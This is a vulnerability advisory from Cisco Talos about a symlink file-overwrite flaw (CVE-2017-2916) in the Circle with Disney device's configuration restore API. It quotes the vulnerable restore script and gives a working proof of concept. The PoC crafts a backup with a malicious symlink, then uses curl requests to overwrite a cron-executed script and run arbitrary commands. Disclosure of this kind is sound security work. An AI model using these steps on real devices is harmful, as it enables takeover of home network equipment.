Talos Vulnerability Report

TALOS-2017-0423

Circle with Disney Configuration Restore Photos File Overwrite Vulnerability

October 31, 2017
CVE Number

CVE-2017-2916

Summary

An exploitable vulnerability exists in the /api/CONFIG/restore functionality of Circle with Disney running firmware 2.0.1. Specially crafted network packets can cause an arbitrary file to be overwritten. An attacker can send an HTTP request trigger this vulnerability.

Tested Versions

Circle with Disney 2.0.1

Product URLs

https://meetcircle.com/

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-59: Improper Link Resolution Before File Access ('Link Following')

Details

Circle with Disney is a network device used to monitor internet use of children on a given network.

Circle allows for backing up and restoring configuration backups using API commands. Backups can be performed using the command "/api/CONFIG/backup", which will return an encrypted archive. Encryption is performed using the aescrypt binary and the password used is the one extracted from the appid parameter of the API command. Before encryption, the backup binary is a gzipped tar archive with the following contents:

configure.xml
backup.version
photos/
photos/user.0.photo
photos/user.1.photo
...

The archive contains a copy of "configure.xml", the "backup.version" file to ensure compatibility, and a "photos" directory containing profile's photos.

Vulnerable code exists in the "/api/CONFIG/restore" command, which executes the script "/mnt/shares/usr/bin/scripts/restorebackup.sh". This command must be invoked using a POST request and needs 3 parameters: a valid token, an appid (decryption key) and the encrypted configuration binary. The handler in the apid binary will receive the restore request and call "restorebackup.sh":

/mnt/shares/usr/bin/scripts/restore_backup.sh /tmp/postfile.bin appid 66

where "postfile.bin" is the encrypted binary and "appid" is taken from the request. Contents of "restore_backup.sh" are shown below:

#!/bin/sh
if [ $# != 3 ] ; then
    echo "restore_backup.sh <filename> <password> <max profiles>"
    exit 1
fi

CIRCLE_ROOT=`cat /tmp/CIRCLE_ROOT`
CIRCLE_BASE=`cat /tmp/CIRCLE_BASE`

#clear out any existing old backup files
rm -rf $CIRCLE_ROOT/backup.tgz $CIRCLE_ROOT/backup/

/tmp/aescrypt -d -p $2 -o $CIRCLE_ROOT/backup.tgz $1                                      # [1]

if [ ! -s $CIRCLE_ROOT/backup.tgz ] ; then
    echo "failed to decrypt backup"
    exit 1
fi

mkdir -p $CIRCLE_ROOT/backup
tar -C $CIRCLE_ROOT/backup/ -xzf $CIRCLE_ROOT/backup.tgz                                  # [2]
if [ ! -s $CIRCLE_ROOT/backup/configure.xml -o ! -d $CIRCLE_ROOT/backup/photos ] ; then
    echo "missing files in backup"
    rm -rf $CIRCLE_ROOT/backup.tgz $CIRCLE_ROOT/backup/
    exit 1
fi

check_failed=0
#check to make sure current version >= backup version
if [ -s $CIRCLE_ROOT/backup/backup.version ] ; then
    v_current=`cat $CIRCLE_BASE/VERSION | cut -f 1 -d -`
    v_backup=`cat $CIRCLE_ROOT/backup/backup.version | cut -f 1 -d -`
    if [ "$v_current" \< "$v_backup" ] ; then
        echo "restore failed: current version less than backup version"
        check_failed=2
    fi
fi

#check to make sure number of profiles <= max number of profiles
num_profiles=`grep -o "<user pid=" $CIRCLE_ROOT/backup/configure.xml | wc -l`
if [ $num_profiles -gt $3 ] ; then
    echo "restore failed: too many profiles in backup"
    check_failed=3
fi

#simple checks on configure.xml
grep -q "<config>" $CIRCLE_ROOT/backup/configure.xml  || check_failed=1
grep -q "<wifi>" $CIRCLE_ROOT/backup/configure.xml  || check_failed=1
grep -q "<overall>" $CIRCLE_ROOT/backup/configure.xml  || check_failed=1
grep -q "<users>" $CIRCLE_ROOT/backup/configure.xml  || check_failed=1
grep -q "<devices>" $CIRCLE_ROOT/backup/configure.xml  || check_failed=1
grep -q "<contact>" $CIRCLE_ROOT/backup/configure.xml  || check_failed=1

if [ $check_failed -gt 0 ] ; then
    echo "bad configuration file"
    rm -rf $CIRCLE_ROOT/backup.tgz $CIRCLE_ROOT/backup/
    exit $check_failed
fi

#replace configure.xml and photos/ with backups
cp -f $CIRCLE_ROOT/backup/configure.xml $CIRCLE_ROOT/configure.xml
rm -rf $CIRCLE_ROOT/photos/
cp -rf $CIRCLE_ROOT/backup/photos/ $CIRCLE_ROOT/photos/                                   # [3]
rm -rf $CIRCLE_ROOT/backup.tgz $CIRCLE_ROOT/backup/

#clear out old tracking files
rm -rf $CIRCLE_ROOT/tracking/*

echo "configuration restored from backup"
exit 0

Note that the value of "CIRCLE_ROOT" is "/mnt/shares/usr/bin/". At [1] the binary is decrypted and at [2] it's extracted in "/mnt/shares/usr/bin/backup". After a few checks files are copied from the temporary backup directory to their real destinations. In particular at [3] all the files contained in the "photos" directory will be copied to "/mnt/shares/usr/bin/photos".

No restrictions are in place on the contents of the "photos" directory: an attacker may include a symbolic link to any file in the system which might cause future operations to have an unexpected behavior.

Indeed, this would allow an attacker to overwrite any file in the system. Consider the following symbolic link is copied to "photos/":

user.123.photo -> /mnt/shares/usr/bin/scripts/check_system_time.sh

An attacker, using the API command "/api/UPDATE/users/user/photo" can overwrite the photo for user with pid 123, which will in turn overwrite the file "checksystemtime.sh" with arbitrary data.

Exploit Proof-of-Concept

The following proof of concept shows how to run an arbitrary command on the device, in this case the script power_down.sh is executed.

-- create backup binary
$ sAppid="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$ tree backup
backup
├── backup.version
├── configure.xml
└── photos
    └── user.123.photo -> /mnt/shares/usr/bin/scripts/check_system_time.sh
$ tar -C backup -cvzf backup.tgz configure.xml photos backup.version
$ aescrypt -e -p $sAppid -o backup.bin backup.tgz

-- send binary for config restore
$ sCmd="/mnt/shares/usr/bin/scripts/circle/power_down.sh"
$ curl -k "https://${sIP}:4567/api/CONFIG/restore" -F "token=${sToken}" -F "appid=${sAppid}" -F "[email protected]"

-- wait for the device to reboot
-- overwrite "check_system_time.sh"
$ curl -k "https://${sIP}:4567/api/UPDATE/users/user/photo" --data "token=${sToken}&user.pid=123&photo=${sCmd}"

-- in 2 minutes, "check_system_time.sh" will be executed by a cronjob

Timeline

2017-08-29 - Vendor Disclosure
2017-10-31 - Public Release

Credit

Discovered by Claudio Bozzato and Lilith Wyatt <(^_^)> of Cisco Talos.